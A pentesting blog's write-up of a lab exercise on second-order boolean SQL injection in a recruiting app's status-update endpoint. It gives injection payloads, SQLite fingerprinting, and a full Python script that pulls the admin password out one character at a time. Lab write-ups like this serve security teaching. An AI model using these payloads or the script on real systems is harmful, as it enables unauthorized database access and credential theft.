b1gb33f_blog

Pentesting and AppSec

View on GitHub
13 April 2026

FurHire-007 - Second Order Boolean SQL Injection

by Shawn Szczepkowski

Lab Info

Summary

The application status update endpoint accepted unsanitized input from the recruiter account. The injected SQL was executed server-side and the boolean result was reflected back via the applicant’s GET /api/my-applications response in the status field. This created an out-of-band exfiltration channel by viewing the application status as the posting recruiter or the applicant.

Accounts

Role Username Token
Recruiter test JWT (id:7)
Applicant test1 JWT (id:8)

Recon

Vulnerability Discovery

Injecting a single quote into the status field returned a 500 database error:

PUT /api/applications/1/status HTTP/2
Host: lab-[...].labs-app.bugforge.io
Authorization: Bearer <recruiter_token>
Content-Type: application/json

{"status":"accepted'"}

Boolean payloads confirmed injectable and reflected in applicant status field:

{"status":"accepted' OR '1'='1"}  applicant sees status: "1"
{"status":"accepted' OR '1'='2"}  applicant sees status: "0"

Database Fingerprinting

SQLite confirmed via:

{"status":"accepted' OR (SELECT 1 FROM sqlite_master LIMIT 1)='1"}

Returns 1. information_schema errored confirming not MySQL/Postgres.

Exploitation

UNION-based injection errored across all column counts. Binary search via unicode() failed. Direct character comparison via substr() with full subquery wrapping worked:

{"status":"accepted' OR (SELECT substr((SELECT password FROM users WHERE username='admin'),1,1))='b"}

Confirmed flag prefix manually:

{"status":"accepted' OR (SELECT substr((SELECT password FROM users WHERE username='admin'),1,4))='bug{"}

Admin user was discovered during registration enumeration so I went with it. Returns 1. Password matches our expected flag format.

Extraction Script

Two-session Python script using recruiter token to inject and applicant token to read the boolean result:

import requests
import time

host = "https://lab-[...].labs-app.bugforge.io"
recruiter_headers = {"Authorization": "Bearer <recruiter_token>", "Content-Type": "application/json"}
applicant_headers = {"Authorization": "Bearer <applicant_token>", "Content-Type": "application/json"}

charset = "bug{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

def get_status():
    r = requests.get(f"{host}/api/my-applications", headers=applicant_headers)
    return r.json()[0]["status"]

def check(payload):
    requests.put(f"{host}/api/applications/1/status", json={"status": payload}, headers=recruiter_headers)
    time.sleep(0.5)
    return get_status() == "1"

def get_char(query, pos):
    for c in charset:
        payload = f"accepted' OR (SELECT substr(({query}),{pos},1))='{c}"
        if check(payload):
            return c
    return None

def extract(query, max_len=300):
    result = ""
    for i in range(1, max_len):
        c = get_char(query, i)
        if c is None:
            break
        result += c
        print(f"[+] pos {i}: {c} => {result}")
    return result

password = extract("SELECT password FROM users WHERE username='admin'")
print(f"\n[+] Flag: {password}")

Key Payloads

Purpose Payload
Error trigger accepted'
Boolean true accepted' OR '1'='1
Boolean false accepted' OR '1'='2
SQLite fingerprint accepted' OR (SELECT 1 FROM sqlite_master LIMIT 1)='1
Char extraction accepted' OR (SELECT substr((SELECT password FROM users WHERE username='admin'),{i},1))='{c}

Why Second-Order

The injection was submitted via the recruiter’s status update endpoint but the boolean result was reflected in the application status field, visible both in the applicant’s GET /api/my-applications response and the recruiter’s own applicant dashboard. sqlmap failed because it could not correlate the injected request with the reflected result in a subsequent GET response. Manual exploitation was used with a two-session Python script, though a single recruiter session would also have worked by polling the applicant dashboard after each injection.

tags: